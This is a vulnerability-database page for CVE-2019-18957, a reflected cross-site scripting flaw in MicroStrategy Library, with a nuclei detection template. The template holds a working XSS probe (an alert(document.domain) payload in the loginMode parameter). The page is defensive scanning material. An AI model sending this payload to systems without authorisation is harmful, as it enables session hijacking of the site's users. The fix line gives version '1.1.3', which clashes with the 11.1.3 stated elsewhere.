HexBrain

Browse / CVEs / CVE-2019-18957

CVE-2019-18957· microstrategy / microstrategy library· CWE-79

MicroStrategy Library <11.1.3 - Cross-Site Scripting

mediumseverity
6.1CVSS score
4.9%likelihood of exploitation, next 30 days
92%of all CVEs are less likely
Readycheck to confirm it

MicroStrategy Library before 11.1.3 contains a cross-site scripting vulnerability. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

Impact

Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to session hijacking, defacement, or theft of sensitive information.

Fix

The issue can be resolved by downloading and installing 1.1.3, which has the patch.

How to confirm it

Send: GET {{BaseURL}}/MicroStrategyLibrary/auth/ui/loginPage?loginMode=alert(document.domain)
Positive when: contains "previousLoginMode: alert(document.domain)," AND contains in header "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2019-18957 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2019-18957

info:
  name: MicroStrategy Library <11.1.3 - Cross-Site Scripting
  author: tess
  severity: medium
  description: |
    MicroStrategy Library before 11.1.3 contains a cross-site scripting vulnerability. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to session hijacking, defacement, or theft of sensitive information.
  remediation: The issue can be resolved by downloading and installing 1.1.3, which has the patch.
  reference:
    - https://seclists.org/bugtraq/2019/Nov/23
    - https://packetstormsecurity.com/files/155320/MicroStrategy-Library-Cross-Site-Scripting.html
    - https://nvd.nist.gov/vuln/detail/CVE-2019-18957
    - http://packetstormsecurity.com/files/155320/MicroStrategy-Library-Cross-Site-Scripting.html
    - http://seclists.org/fulldisclosure/2019/Nov/4
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2019-18957
    cwe-id: CWE-79
    epss-score: 0.04899
    epss-percentile: 0.92163
    cpe: cpe:2.3:a:microstrategy:microstrategy_library:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: microstrategy
    product: microstrategy_library
  tags: cve,cve2019,microstrategy,packetstorm,xss,seclists,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/MicroStrategyLibrary/auth/ui/loginPage?loginMode=alert(document.domain)"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "previousLoginMode: alert(document.domain),"

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from